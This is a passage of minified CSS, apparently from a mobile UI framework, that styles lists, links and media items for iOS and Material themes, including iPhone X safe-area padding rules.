.item-link.color-blue,.ios .list .list-button.color-blue,.ios .list li.color-blue .item-link,.ios .list li.color-blue .list-button,.ios .simple-list li.color-blue{color:#007aff}.ios .links-list a.color-pink,.ios .links-list li.color-pink a,.ios .list .item-link.color-pink,.ios .list .list-button.color-pink,.ios .list li.color-pink .item-link,.ios .list li.color-pink .list-button,.ios .simple-list li.color-pink{color:#ff2d55}.ios .links-list a.color-yellow,.ios .links-list li.color-yellow a,.ios .list .item-link.color-yellow,.ios .list .list-button.color-yellow,.ios .list li.color-yellow .item-link,.ios .list li.color-yellow .list-button,.ios .simple-list li.color-yellow{color:#fc0}.ios .links-list a.color-orange,.ios .links-list li.color-orange a,.ios .list .item-link.color-orange,.ios .list .list-button.color-orange,.ios .list li.color-orange .item-link,.ios .list li.color-orange .list-button,.ios .simple-list li.color-orange{color:#ff9500}.ios .links-list a.color-gray,.ios .links-list li.color-gray a,.ios .list .item-link.color-gray,.ios .list .list-button.color-gray,.ios .list li.color-gray .item-link,.ios .list li.color-gray .list-button,.ios .simple-list li.color-gray{color:#8e8e93}.ios .links-list a.color-white,.ios .links-list li.color-white a,.ios .list .item-link.color-white,.ios .list .list-button.color-white,.ios .list li.color-white .item-link,.ios .list li.color-white .list-button,.ios .simple-list li.color-white{color:#fff}.ios .links-list a.color-black,.ios .links-list li.color-black a,.ios .list .item-link.color-black,.ios .list .list-button.color-black,.ios .list li.color-black .item-link,.ios .list li.color-black .list-button,.ios .simple-list li.color-black{color:#000}.md .list{margin:32px 0;font-size:16px}.md .list .item-cell{width:100%;min-width:0;margin-left:16px}.md .list .item-cell:first-child{margin-left:0}.md .list .ripple-wave+.item-cell{margin-left:0}.md .list ul ul{padding-left:56px}.md .list .item-media{padding-top:8px;min-width:40px}.md .list .item-media i+i,.md .list .item-media i+img{margin-left:8px}.md .list .item-media+.item-inner{margin-left:16px}.md .list .item-inner{min-height:48px;padding-right:16px}.md .list .item-after{color:#757575;font-size:14px;padding-left:8px}.md .list .item-link,.md .list .list-button{color:inherit}.md .list .item-link .item-inner,.md .list .list-button .item-inner{padding-right:42px}.md .list .item-link.active-state,.md .list .list-button.active-state{background-color:rgba(0,0,0,.1)}.md .list .list-button{padding:0 16px;font-size:16px;line-height:48px}.md .list .item-content{min-height:48px;padding-left:16px}.md .list .item-subtitle{font-size:14px}.md .list .item-text{font-size:14px;color:#757575;line-height:20px;max-height:40px}.md .list .item-footer,.md .list .item-header{font-weight:400;font-size:12px;line-height:1.2;white-space:normal}.md .list .item-footer{color:rgba(0,0,0,.5)}.md .list .item-link.no-chevron .item-inner,.md .list .no-chevron .item-link .item-inner,.md .list.no-chevron .item-link .item-inner,.md .no-chevron .list .item-link .item-inner{padding-right:16px}.md .simple-list li:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .simple-list li:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .simple-list li:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .simple-list li{padding-left:16px;padding-right:16px;line-height:48px;height:48px}.md .simple-list li:after{width:auto;left:16px;right:0}.md .links-list a:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .links-list a:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .links-list a:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .links-list a{height:48px;color:inherit}.md .links-list a.active-state{background-color:rgba(0,0,0,.1)}.md .links-list a:after{width:auto}.md .links-list a{padding-left:16px;padding-right:42px}.md .links-list a:after{left:16px;right:0}.md .links-list .no-chevron a,.md .links-list a.no-chevron,.md .links-list.no-chevron a,.md .no-chevron .links-list a{padding-right:16px}.md .media-list .item-inner,.md li.media-item .item-inner{padding-top:14px;padding-bottom:14px}.md .media-list .item-link .item-inner,.md li.media-item .item-link .item-inner{padding-right:16px}.md .media-list .item-link .item-title-row,.md li.media-item .item-link .item-title-row{padding-right:26px}.md .media-list .item-media,.md li.media-item .item-media{padding-top:14px;padding-bottom:14px}.md .media-list .chevron-center .item-link .item-inner,.md .media-list .item-link.chevron-center .item-inner,.md .media-list.chevron-center .item-link .item-inner,.md li.media-item .chevron-center .item-link .item-inner,.md li.media-item .item-link.chevron-center .item-inner,.md li.media-item.chevron-center .item-link .item-inner{padding-right:42px}.md .media-list .chevron-center .item-title-row,.md .media-list .no-chevron .item-link .item-title-row,.md .media-list.chevron-center .item-title-row,.md .media-list.no-chevron .item-link .item-title-row,.md .no-chevron .media-list .item-link .item-title-row,.md .no-chevron li.media-item .item-link .item-title-row,.md li.media-item .chevron-center .item-title-row,.md li.media-item.chevron-center .item-title-row,.md li.media-item.no-chevron .item-link .item-title-row{padding-right:0!important}.md .links-list a,.md .list .item-link .item-inner{background-position:calc(100% - 16px) center}.md .item-divider,.md .list-group-title{padding:0 16px;background:#f4f4f4;color:rgba(0,0,0,.54);height:48px;line-height:48px;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:14px}.md .item-divider:before,.md .list-group-title:before{display:none!important}.md .item-divider:after,.md .list-group-title:after{display:none!important}.md .list-group-title{margin-top:0}.md .list .item-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .list .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list ul:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .list ul:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list ul:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list ul:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .list ul:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list ul:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list.inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .list.inset ul{border-radius:4px}.md .list.inset li:first-child>a{border-radius:4px 4px 0 0}.md .list.inset li:last-child>a{border-radius:0 0 4px 4px}.md .list.inset li:first-child:last-child>a{border-radius:4px}@media (min-width:768px){.md .list.tablet-inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .list.tablet-inset li:first-child>a{border-radius:4px 4px 0 0}.md .list.tablet-inset li:last-child>a{border-radius:0 0 4px 4px}.md .list.tablet-inset li:first-child:last-child>a{border-radius:4px}}.md li li:last-child .item-inner:after,.md li:last-child li .item-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}html.device-pixel-ratio-2 .md li li:last-child .item-inner:after,html.device-pixel-ratio-2 .md li:last-child li .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}html.device-pixel-ratio-3 .md li li:last-child .item-inner:after,html.device-pixel-ratio-3 .md li:last-child li .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:15px}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-content{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li:after{left:calc(16px + constant(safe-area-inset-left));left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.md.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.md.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).links-list a:after{left:calc(16px + constant(safe-area-inset-left));left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .panel-right .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:16px}.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .panel-right .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .list.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:16px}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-divider,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .list-group-title{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).simple-list li{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{background-position:calc(100% - 16px - constant(safe-area-inset-right)) center;background-position:calc(100% - 16px - env(safe-area-inset-right)) center}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-inner{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link .item-inner{padding-right:calc(42px + constant(safe-area-inset-right));padding-right:calc(42px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link .item-inner{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).links-list a{padding-right:calc(42px + constant(safe-area-inset-right));padding-right:calc(42px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .ios-right-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .panel-right .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item .item-link.chevron-center .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) li.media-item.chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .chevron-center .item-link .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list .item-link.chevron-center .item-inner,.md.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge).media-list.chevron-center .item-link .item-inner{padding-right:calc(42px + constant(safe-area-inset-right));padding-right:calc(42px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .item-link.no-chevron .item-inner,.md.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge) .no-chevron .item-link .item-inner,.md.device-iphone-x .ios-edges 